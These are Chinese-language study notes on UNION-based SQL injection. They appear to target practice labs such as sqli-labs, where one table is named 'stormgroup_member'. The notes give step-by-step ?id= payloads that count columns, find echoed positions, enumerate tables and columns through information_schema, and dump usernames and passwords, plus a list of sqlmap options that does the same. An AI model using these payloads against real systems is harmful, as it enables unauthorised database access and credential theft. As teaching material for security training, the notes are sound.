Svstem user()系统用户名
user()用户名

current_user()当前用户名
session_user()连接数据库的用户名
database()数据库名
version()数据库版本
@@datadir数据库路径
@basedir数据库安装路径
@version comoile os操作系统
count()返回执行结果数量

使用?id=’ union select ‘null’,’null’,’null’,’null# 判断列数,发现有四列

4、查看回显位置:
?id=’ union select ‘1’,’2’,’3’,’4

5、?id=’ union select ‘1’,database(),user(),’4

查询表:
?id=’ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() and ‘1’=’1

7、查询字段:
?id=’ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’stormgroup_member’ and ‘1’=’1

8、查询字段值
?id=’ union select 1,group_concat(name,password),3,4 from stormgroup_member where ‘1’=’1#

?id=’ union select 1,@@datadir,2–+查询根目录

order by 4 –­­+判断有多少列

union select 1,2,3 ­­–+判断数据显示点

union select 1,user(),database()–+­显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 –+ 查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=’users’ ),3 –+ 查看对应表有哪些列

Unionselect1,(selectgroup_concat(concat_ws(0x7e,username,password))from users),3–+ 查看账号密码信息

union注入过程:

1.order by确定列数
2.观察页面返回,选取可以显示数据的位置,进行下一步的注入
3.读库信息
4.读表信息
5.读字段
6.读数据

sqlmap:

-u “url”判断是否为注入点,查看服务器系统

-u “url” –is-dba 当前用户是否为管理员权限

-u “url” –dbs 列出所有数据库

-u “url” –current-db 当前数据库

-u “url” –current-user 当前用户 –users 所有用户

-u “url” –tables -D 数据库名

-u “url” –columns -T 表名 -D 数据库名

-u “url” –dump -C 列名 -T 表名 -D 数据库名

–is-dba

注:group_concat()

1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )